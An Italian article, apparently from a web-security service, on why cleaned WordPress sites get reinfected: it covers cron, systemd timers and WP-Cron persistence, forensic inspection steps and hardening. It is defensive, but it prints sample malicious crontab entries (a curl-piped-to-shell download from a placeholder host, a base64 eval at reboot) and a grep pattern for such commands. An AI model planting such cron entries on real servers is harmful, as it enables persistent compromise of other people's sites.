Il sito è stato ripulito: i file sospetti sono stati cancellati, WordPress e i plugin aggiornati, le password cambiate. Due giorni dopo, alle tre di notte, il file index.php del tema è di nuovo modificato e Google torna a mostrare risultati in giapponese. È lo scenario più frustrante per chi gestisce un sito infetto, e quasi sempre ha la stessa spiegazione: la pulizia ha rimosso gli effetti dell’infezione, ma non il meccanismo che la rimette in piedi.
Se dopo una pulizia accurata i file infetti ricompaiono sempre alla stessa ora, il problema non è nei file: è in ciò che li riscrive.
Quel meccanismo si chiama persistenza, e uno dei posti preferiti in cui nasconderla è il sistema di pianificazione dei processi: il cron del server e il suo equivalente applicativo, WP-Cron. In questo articolo vediamo dove si trovano, come vengono usati da chi attacca e come esaminarli senza peggiorare la situazione.
Perché il malware torna
Un’infezione non è quasi mai un singolo file. Di solito c’è un punto d’ingresso (un plugin vulnerabile, una credenziale rubata, un pannello di amministrazione esposto), una o più backdoor che permettono di rientrare, il carico vero e proprio (spam SEO, redirect, skimmer di carte di credito, pagine di phishing) e infine un meccanismo che controlla periodicamente che tutto sia ancora al suo posto.
Se si rimuovono il carico e le backdoor visibili ma resta il meccanismo periodico, alla prima esecuzione successiva l’infezione viene ricreata. Il ciclo tipico è semplice: un’attività pianificata scarica una copia aggiornata del malware da un server esterno, oppure la ricostruisce da una copia nascosta sul disco o nel database, e la reinstalla nei punti in cui era stata rimossa. Per chi osserva dal pannello di WordPress sembra che il sito si «reinfetti da solo».
Per questo una pulizia fatta solo a livello applicativo, cioè guardando i file di WordPress, spesso non basta: la persistenza vive in un livello che dall’amministrazione del sito non si vede.
Il crontab dell’utente di sistema
Su un server Linux ogni utente può avere una propria tabella di attività pianificate, il crontab. Se chi attacca riesce a eseguire comandi con l’utente che fa girare il sito (spesso www-data, apache, nginx o l’utente dell’account di hosting), può aggiungere una riga al crontab di quell’utente senza bisogno di privilegi di amministratore. È il caso più comune.
Per vedere il crontab di un utente serve accedere al server come quell’utente o come root:
# Crontab dell'utente corrente
crontab -l
# Crontab di un altro utente (richiede root)
crontab -l -u www-data
# I file veri e propri, per esaminarli senza passare da crontab
ls -la /var/spool/cron/crontabs/ # Debian e Ubuntu
ls -la /var/spool/cron/ # RHEL, AlmaLinux, Rocky Linux
Una voce malevola ha spesso questo aspetto: un’esecuzione frequente, un download da un indirizzo esterno e un interprete che esegue quello che arriva, senza scrivere niente di leggibile sul disco.
*/10 * * * * curl -fsSL http://esempio-malevolo.invalid/u.sh | sh >/dev/null 2>&1
@reboot /usr/bin/php -r 'eval(base64_decode("aWYoIWZpbGVfZXhpc3Rz..."));' >/dev/null 2>&1
Non sempre è così evidente. Abbiamo visto voci che richiamano un file con un nome innocuo in una cartella di cache, comandi preceduti da decine di righe vuote o di commenti per spingerli fuori dallo schermo, e la direttiva @reboot, che fa ripartire il malware solo al riavvio del server: un’attività che non si nota finché non si riavvia la macchina, magari settimane dopo la pulizia.
/etc/cron.d, le cartelle periodiche e i timer di systemd
Se l’attacco ha ottenuto privilegi di root, lo spazio a disposizione cresce. Oltre ai crontab degli utenti, cron legge le attività di sistema da diversi posti, ognuno dei quali va controllato:
/etc/crontab, la tabella principale del sistema;/etc/cron.d/, dove i pacchetti installano le proprie attività e dove un file in più con un nome plausibile passa facilmente inosservato;/etc/cron.hourly/,/etc/cron.daily/,/etc/cron.weekly/e/etc/cron.monthly/, che contengono script eseguiti a intervalli regolari;- i timer di systemd, che svolgono lo stesso compito di cron e si elencano con
systemctl list-timers --all; - la coda di
at, per le esecuzioni singole programmate, visibile conatq.
Su questi file un controllo utile è chiedersi chi li ha installati. Il gestore dei pacchetti sa a quale pacchetto appartiene ogni file legittimo, quindi un file che non appartiene a nessun pacchetto merita attenzione:
# Debian e Ubuntu
dpkg -S /etc/cron.d/*
# RHEL e derivate
rpm -qf /etc/cron.d/*
# Cerca comandi tipici del malware in tutte le tabelle
grep -rnE 'curl|wget|base64|eval|/dev/tcp|nohup|\.php' \
/etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily \
/var/spool/cron 2>/dev/null
Un risultato non è di per sé una prova: molti script legittimi usano curl o php. È un elenco di cose da leggere una per una, non da cancellare in blocco.
WP-Cron: la persistenza dentro il database
WordPress ha un proprio sistema di attività pianificate, WP-Cron, che non dipende dal cron del server. Gli eventi sono salvati nell’opzione cron della tabella wp_options, sotto forma di array serializzato: per ogni evento ci sono l’orario, il nome dell’hook da eseguire, la ricorrenza e gli eventuali argomenti. A ogni visita, WordPress controlla se ci sono eventi scaduti e li esegue.
Un evento WP-Cron da solo non contiene codice: indica soltanto quale hook richiamare. Perché faccia qualcosa, deve esistere del codice che si aggancia a quell’hook. Chi attacca sfrutta proprio questa separazione: registra un evento con un nome che sembra appartenere a un plugin reale e mette la funzione che lo gestisce in un posto poco controllato, come un file nella cartella mu-plugins, che WordPress carica sempre, che non si può disattivare dall’amministrazione e che compare solo nella scheda separata «Must-Use» dell’elenco dei plugin, oppure in fondo al functions.php del tema. In alcune varianti la funzione legge a sua volta il codice da eseguire da un’altra opzione del database, così nei file resta solo un frammento generico.
Con WP-CLI si possono esaminare gli eventi senza aprire il database a mano:
# Elenco degli eventi con hook, prossima esecuzione e ricorrenza
wp cron event list --fields=hook,next_run_relative,recurrence
# Il contenuto grezzo dell'opzione, per vedere anche gli argomenti
wp option get cron --format=json
# Chi si aggancia a un hook sospetto
grep -rn "nome_hook_sospetto" wp-content/
Il segnale da cercare è un hook che non corrisponde a nessun plugin installato, o che corrisponde a un plugin che non dovrebbe avere attività pianificate, soprattutto se la ricorrenza è molto frequente.
Come ispezionare senza distruggere le prove
Davanti a una voce sospetta la tentazione è cancellarla subito. Conviene invece procedere con ordine, perché le attività pianificate sono anche una delle migliori fonti di informazioni sull’attacco: l’indirizzo da cui scaricano il malware, il percorso della copia nascosta, l’utente che le ha create e la data in cui sono comparse.
- Salvare una copia di tutte le tabelle cron, dei file in
/etc/cron*e dell’opzionecrondi WordPress prima di toccare qualcosa. - Annotare date e proprietari dei file con
stat: la data di modifica può essere falsificata, quella di cambio di stato dell’inode (ctime) molto meno facilmente. - Leggere cosa fa ogni voce senza eseguirla: niente
curl … | shper «vedere cosa scarica». Se serve analizzare lo script remoto, lo si scarica come testo in un ambiente isolato. - Controllare se c’è un processo già in esecuzione avviato da quella voce: disattivare il cron non ferma un processo che è già in memoria.
- Solo a quel punto disattivare le voci, rimuovere i file che richiamano e verificare nei giorni successivi che nulla ricompaia.
L’ordine conta: se si pulisce il sito prima di aver fermato la persistenza, la pulizia dura fino alla prossima esecuzione pianificata.
Oltre il cron: processi in memoria e altre persistenze
Il cron non è l’unico modo per far tornare un’infezione. Un processo lanciato dall’attacco può restare in esecuzione anche dopo la cancellazione del file da cui è partito, e ricreare i file a intervalli regolari. Su Linux un processo di questo tipo si riconosce perché in /proc/<pid>/ il collegamento all’eseguibile o alla cartella di lavoro punta a un percorso segnato come (deleted). Alcuni si danno un nome che imita un processo del kernel, come [kworker/0:1], ma i veri thread del kernel non girano con l’utente del sito e non hanno un eseguibile associato.
Altre persistenze comuni sono un file in mu-plugins, una riga aggiunta a wp-config.php o a .user.ini tramite la direttiva auto_prepend_file, un utente amministratore creato apposta e, nei casi più elaborati, trigger SQL nel database che reinseriscono il codice quando un contenuto viene salvato.
Dopo la pulizia: ridurre la superficie
Rimossa la persistenza, alcune misure rendono molto più difficile ricrearla:
- disattivare WP-Cron basato sulle visite con
define( 'DISABLE_WP_CRON', true );inwp-config.phpe richiamarlo da un cron di sistema controllato, così le attività girano a orari noti e sono più facili da sorvegliare; - impedire all’utente del sito di modificare il proprio crontab quando non serve, con
/etc/cron.allowo/etc/cron.deny; - impedire l’esecuzione di PHP nella cartella
wp-content/uploads, che è il posto più comune per le copie nascoste; - cambiare tutte le credenziali, comprese le chiavi e i salt di WordPress, la password del database e gli accessi SFTP e SSH, perché chi ha scritto nel crontab probabilmente le ha lette;
- monitorare le modifiche ai file e alle tabelle cron, in modo da accorgersi subito di un ritorno.
Un’infezione che torna non è un fenomeno misterioso: è il segno che qualcosa è rimasto. Per trovarlo bisogna guardare il sito dall’applicazione e dal sistema insieme, che è esattamente il lavoro che facciamo quando un cliente ci contatta dopo l’ennesima reinfezione.